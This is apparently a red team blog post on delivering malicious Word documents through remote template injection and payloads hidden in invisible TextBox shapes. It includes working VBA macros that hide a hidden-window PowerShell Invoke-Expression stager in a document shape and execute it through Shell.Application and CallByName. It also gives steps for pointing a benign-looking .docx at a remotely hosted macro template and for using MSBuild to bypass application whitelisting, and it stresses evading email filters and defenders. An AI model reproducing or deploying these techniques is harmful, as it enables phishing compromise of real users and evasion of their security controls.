MalDoc Fu - Some Ideas for Malicious Document Delivery


"Hey, can you review this document? You might have to enable macros due to formatting lol"
Attachment: ImportantDocument.docm

We've all seen phishing attempts like this and, the worst part, is that they still work. However, a message like this would more than likely get flagged sooner or later, and no user -or a limited number of users- would ever receive it.

As a result, we can't just rely on phishing emails during a red team hoping one makes it through without getting flagged and a user clicks enable macros. As red teamers, we need to be more methodical and precise in our wording, domain usage, payload creation, and campaign execution. This minimises the risk of alerting any defenders and users so we can keep seeing those sweet beacons come in.

Getting Into It

Joe Leon and myself recently gave a webinar with Black Hills Information Security on Remote Template Injection, InlineShapes, and Excel 4.0 macros in which I briefly spoke about hosting a malicious payload remotely, as well as hiding macro code within InlineShapes. In this post, I'll be further discussing those two concepts and combining them to execute an MSBuild payload.

Now, these are not new concepts, and props to the guys at Red Xor Blue and Greg Linares for doing some great research on this. Yet, I don't think I've seen these two concepts combined, so this will be a quick primer and the resulting combination.

Remote Template Injection

Remote Template Injection involves the following:

  1. Creating a malicious Word template (.dotm) and embedding a malicious macro.
  2. Hosting that template on a webserver.
  3. Creating a benign Word document (.docx) that will remotely pull down that template and executing any macros.
    • The user must still enable macros

Creating the malicious Word template is pretty simple. First you'll want to create the macro using a number of tools including Veil, Unicorn, MaliciousMacroGenerator, or the always stylish Cobalt Strike.

Next, paste that generated macro into your Word template. It should look something similar to the screenshot below.

Malicious Macro

Then, we'll create the benign Word document. If you want to easily create one, you can select one of Word's online templates and modify it to your liking. Here we're using Word's certificate template (pretty legit, right?).

Coolest Certificate

Once that's saved, rename the extension (.docx) to .zip; since that's really all a .docx file is - a compressed folder with multiple setting files. Extract the zip, navigate to word/_rels/ and modify the settings.xml.rels file to include the link to your malicious template.

Settings.xml.rels Modification

Finally, zip the contents back up, rename the extension back to .docx and send to the target. One nice thing is that you'll receive a few HTTP(S) requests before the user enables content so that's another metric you can identify.

HTTP Requests

The following demo should help to answer any questions in the process.

Remote Template Injection Demo

Malicious InlineShapes

There are several different types of InlineShapes - chart, comment, pictures, line, box, etc. For this section, we'll be focusing on the TextBox shape. One interesting thing we can do is use InlineShapes to house our malicious code which can then be called and subsequently deleted via a macro.

The idea here is fairly basic but should serve as a good starting point for more advanced uses - obfuscation was not a primary focus for this section.
The main execution flow for this method is:

  1. Create a phishing document
  2. Use the InlineShape creation macro found below
  3. Delete the InlineShape creation macro and add in the following execution macro
  4. Save the document and send it to the target

Feel free to use any tool to generate the malicious macro. In this instance, I used Veil. We're also going to modify things a bit to only use the payload string along with the PowerShell command to call it.

TextBox Creation Macro (pulled and weaponised from Greg Linares' blog here):

Sub createTextBox()
On Error Resume Next
Dim objTextBox As Shape
Dim secretkey As Long

Dim str As String
Dim zHf As String

payload = "nVhLj9s2EL7vryAWOqyxdkBJ1CtGgKQNCgQo0qCbtoeFDxJFdY1qbc"

--Full Payload Excluded--

zHf = " -NoP -NonI -W Hidden -Command ""Invoke-"
zHf = zHf + "Expression $(New-Object IO.StreamReader ($(New-O"

--Full PowerShell Command Excluded (references the payload string)--

secretkey = RGB(2, 2, 2)
Set objTextBox = ActiveDocument.Shapes.AddTextbox(msoTextOrientationHorizontal, 0, 0, 0, 0)
With objTextBox
    .TextFrame.TextRange.Text = "powershell.exe|" + zHf + "|open|1"
    .Name = "Shell.Application"
    .Height = 100
    .Width = 100
    .Visible = msoFalse
    .Shadow.Visible = True
.Shadow.ForeColor.RGB = secretkey
    .AlternativeText = "ShellExecute"
    .TextFrame.TextRange.Font.TextColor.RGB = ActiveDocument.Background.Fill.BackColor
End With
End Sub

Once that macro executes, you can delete it, since the payload is now hidden within an InlineShape inside the document. Next, we'll add in our execution macro (and will probably want to rename it to Auto_Open or similar):

Sub ExecuteTextBoxCommands()
On Error Resume Next
Dim objCmdShape As Shape
Dim secretkey As Long
Dim cmdParams() As String
Dim cmdCommand As String
Dim cmdType As String
Dim cmdObj As Object

secretkey = RGB(2, 2, 2)
For x = 1 To ActiveDocument.Shapes.Count
    Set objCmdShape = ActiveDocument.Shapes(x)
    If objCmdShape.Shadow.ForeColor.RGB = secretkey Then
        cmdType = objCmdShape.Name
        cmdCommand = objCmdShape.AlternativeText
        cmdParams = Split(objCmdShape.TextFrame.TextRange.Text, "|")

        Set cmdObj = Interaction.CreateObject(cmdType)
        VBA$.[Interaction].CallByName! cmdObj, [cmdCommand], VbMethod, cmdParams(0), Trim(cmdParams(1)), cmdParams(2), cmdParams(3)
        Exit For
    End If
End Sub

Notice that we're not calling any PowerShell or similar executable here, we're just referencing an array while using the CallByName function to execute it. Finally, we delete the shape so multiple executions can't happen and will hopefully keep the malicious code away from prying eyes unless the document is redownloaded.

**Once the user enables macros, the macro will search through the current document, grab all the InlineShapes, and search for the specific secret key. If that key matches what it's looking for, it will continue execution and run our payload (yay).

The following demo should help clarify things a bit.

InlineShapes Demo

That Wasn't Even Our Final Form

Well, what if we want to keep our actions a bit more hidden as well as send a much more normal .docx file (instead of a suspicious macro-enabled Word document, .docm)? We can do that by combining Remote Template Injection and InlineShapes! Another pro is that we can utilize app whitelisting to call the actual payload, which access to can be killed if you think the target is looking into your phishing campaign.

The setup here is similar with some minor modifications:

  1. Create a Word template document (.dotm)
  2. Paste the non-malicious macro from above to generate a TextBox shape
    • This is where you would reference an AWL bypass such as msbuild + a .csproj or .xml
    • Conversely, you could also call PowerShell with the -w hidden flag to prevent the msbuild window from staying up for too long.
  3. Run the macro to create the InlineShape and delete previous macro
  4. Paste the execution macro in and rename to Auto_Open
  5. Host the template on a webserver
  6. Create a Word document (.docx) to be used for phishing
  7. Modify the underlying settings.xml.rels file to point to your template

Currently, this method may get flagged due to msbuild.exe being within the InlineShape. This is trivial to bypass though, as we can just hardcode the full path to msbuild in the macro to execute the InlineShape. That macro should look something similar to the screenshot below.

Execution Macro

Just note that if you hardcode the application within the InlineShape execution macro, you will need to modify the InlineShape creation macro to remove the msbuild.exe reference. You will also have to modify the cmdParams array that gets called (remove the last array reference); but I'll leave that exercise up to the reader. We did recently used this on an active red team assessment and it successfully bypassed all email filters.

If you liked this post and you'd like to check out more, you can visit our blog here If you're interested in trainings you can find our upcoming dates here

Written by Matt Grandy
Dedicated to Chris Truncer, The Boss Man